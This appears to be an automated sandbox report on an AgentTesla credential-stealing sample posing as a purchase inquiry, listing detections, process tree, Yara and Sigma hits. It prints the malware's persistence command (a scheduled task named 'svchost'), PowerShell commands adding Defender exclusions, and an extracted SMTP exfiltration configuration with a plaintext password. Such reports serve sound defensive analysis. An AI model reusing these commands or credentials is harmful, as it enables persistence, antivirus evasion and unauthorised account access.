Edit tour

Windows Analysis Report
RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Overview

General Information

Sample name:	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe
Analysis ID:	1437973
MD5:	e184c8b191b12744e919b3b95ce39a0e
SHA1:	fe25931e12b1f5807b95cf222cd9ee74c2cb7ea2
SHA256:	df9e900bc2aba3462d0b9d2fb4e81719604f4c63871a2225edce136c140e8fc8
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: MSBuild connects to smtp port

Sigma detected: Schedule system process

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected UAC Bypass using CMSTP

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Creates multiple autostart registry keys

Disables UAC (registry)

Drops PE files with benign system names

Hides that the sample has been downloaded from the Internet (zone.identifier)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses process hollowing technique

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Silenttrinity Stager Msbuild Activity

Sigma detected: Suspect Svchost Activity

Sigma detected: System File Execution Location Anomaly

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Conhost Spawned By Uncommon Parent Process

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe (PID: 7520 cmdline: "C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe" MD5: E184C8B191B12744E919B3B95CE39A0E)

conhost.exe (PID: 7528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7676 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7748 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7704 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp89F4.tmp.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7776 cmdline: timeout 3 MD5: 100065E21CFBBDE57CBA2838921F84D6)

svchost.exe (PID: 7872 cmdline: "C:\Users\user\AppData\Roaming\svchost.exe" MD5: E184C8B191B12744E919B3B95CE39A0E)

conhost.exe (PID: 7880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7228 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InstallUtil.exe (PID: 3068 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

jsc.exe (PID: 5284 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" MD5: 94C8E57A80DFCA2482DEDB87B93D4FD9)

RegSvcs.exe (PID: 7588 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

CasPol.exe (PID: 7556 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

AddInProcess32.exe (PID: 7688 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

MSBuild.exe (PID: 7752 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 7680 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 7788 cmdline: C:\Windows\system32\WerFault.exe -u -p 7872 -s 1104 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 7792 cmdline: C:\Users\user\AppData\Roaming\svchost.exe MD5: E184C8B191B12744E919B3B95CE39A0E)

conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7972 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AddInProcess32.exe (PID: 8028 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

InstallUtil.exe (PID: 8084 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

WerFault.exe (PID: 7284 cmdline: C:\Windows\system32\WerFault.exe -u -p 7792 -s 1152 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 8156 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7224 cmdline: C:\Windows\system32\WerFault.exe -pss -s 456 -p 7792 -ip 7792 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 7324 cmdline: C:\Windows\system32\WerFault.exe -pss -s 508 -p 7872 -ip 7872 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 8204 cmdline: C:\Windows\system32\WerFault.exe -pss -s 536 -p 7748 -ip 7748 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 8712 cmdline: C:\Windows\system32\WerFault.exe -pss -s 568 -p 8396 -ip 8396 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 7748 cmdline: "C:\Users\user\AppData\Roaming\svchost.exe" MD5: E184C8B191B12744E919B3B95CE39A0E)

conhost.exe (PID: 7268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4908 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 5568 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

AddInProcess32.exe (PID: 7660 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

AddInProcess32.exe (PID: 7740 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

WerFault.exe (PID: 8252 cmdline: C:\Windows\system32\WerFault.exe -u -p 7748 -s 1144 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 8396 cmdline: "C:\Users\user\AppData\Roaming\svchost.exe" MD5: E184C8B191B12744E919B3B95CE39A0E)

conhost.exe (PID: 8404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8660 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

jsc.exe (PID: 8676 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" MD5: 94C8E57A80DFCA2482DEDB87B93D4FD9)

jsc.exe (PID: 8696 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" MD5: 94C8E57A80DFCA2482DEDB87B93D4FD9)

WerFault.exe (PID: 8796 cmdline: C:\Windows\system32\WerFault.exe -u -p 8396 -s 1352 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

vexplorers.exe (PID: 8996 cmdline: "C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

conhost.exe (PID: 9004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vexplorers.exe (PID: 9180 cmdline: "C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

conhost.exe (PID: 9188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.zoho.eu", "Username": "logs@astonherald.com", "Password": "office12#"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000025.00000002.2880930308.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001A.00000002.2879219152.0000000002A17000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2877570286.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000025.00000002.2880930308.0000000002CA0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.1920918632.000002168033C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1951190826.0000021690011000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000029.00000002.1983628252.0000024F0033C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001A.00000002.2879219152.00000000029C4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.2879219152.00000000029C4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000025.00000002.2880930308.0000000002C54000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.2880930308.0000000002C54000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.1993738956.000001A48033C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000F.00000002.2877570286.0000000002B55000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.2877570286.0000000002B25000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2877570286.0000000002B25000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000030.00000002.2877901296.0000000002D2F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1951190826.0000021690133000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000030.00000002.2877901296.0000000002D37000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001A.00000002.2879219152.0000000002A0F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001B.00000002.1950991965.0000028E8033C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.1664238561.000002091F69C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000030.00000002.2877901296.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000002.2877901296.0000000002CE5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe PID: 7520	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe PID: 7520	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: svchost.exe PID: 7792	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: svchost.exe PID: 7792	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: svchost.exe PID: 7872	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: svchost.exe PID: 7872	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: svchost.exe PID: 7872	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: svchost.exe PID: 7872	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: InstallUtil.exe PID: 8084	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 8084	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: MSBuild.exe PID: 7752	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7752	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: svchost.exe PID: 7748	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: svchost.exe PID: 7748	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: AddInProcess32.exe PID: 7660	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AddInProcess32.exe PID: 7660	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: svchost.exe PID: 8396	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: svchost.exe PID: 8396	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: jsc.exe PID: 8676	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: jsc.exe PID: 8676	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.svchost.exe.2169004f2c0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.svchost.exe.2169004f2c0.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.svchost.exe.2169004f2c0.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x341e6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34258:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342e2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34374:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343de:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34450:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x344e6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34576:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.svchost.exe.2169004f2c0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.svchost.exe.2169004f2c0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.svchost.exe.2169004f2c0.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.svchost.exe.2169004f2c0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x35fe6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x36058:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x360e2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x36174:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x361de:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x36250:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x362e6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x36376:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.svchost.exe.21690133730.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.svchost.exe.21690133730.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.svchost.exe.21690133730.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.svchost.exe.21690133730.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x35fe6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x36058:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x360e2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x36174:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x361de:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x36250:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x362e6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x36376:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.svchost.exe.21690133730.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.svchost.exe.21690133730.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.svchost.exe.21690133730.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x341e6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34258:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x342e2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34374:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x343de:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34450:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x344e6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34576:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 9 entries

Sigma Signatures

Networking

Sigma detected: MSBuild connects to smtp port

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 185.230.214.164, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7752, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49739

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, ProcessId: 7520, TargetFilename: C:\Users\user\AppData\Roaming\svchost.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe", ParentImage: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, ParentProcessId: 7520, ParentProcessName: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"' & exit, ProcessId: 7676, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\svchost.exe, ParentImage: C:\Users\user\AppData\Roaming\svchost.exe, ParentProcessId: 7792, ParentProcessName: svchost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\svchost.exe" -Force, ProcessId: 7972, ProcessName: powershell.exe

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 104.26.13.205, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7752, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: C:\Users\user\AppData\Roaming\svchost.exe, CommandLine: C:\Users\user\AppData\Roaming\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 7224, ProcessCommandLine: C:\Users\user\AppData\Roaming\svchost.exe, ProcessId: 7792, ProcessName: svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\Users\user\AppData\Roaming\svchost.exe, CommandLine: C:\Users\user\AppData\Roaming\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 7224, ProcessCommandLine: C:\Users\user\AppData\Roaming\svchost.exe, ProcessId: 7792, ProcessName: svchost.exe

Sigma detected: Conhost Spawned By Uncommon Parent Process

Source: Process started

Author: Tim Rauch: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\svchost.exe, ParentImage: C:\Users\user\AppData\Roaming\svchost.exe, ParentProcessId: 7792, ParentProcessName: svchost.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 7800, ProcessName: conhost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

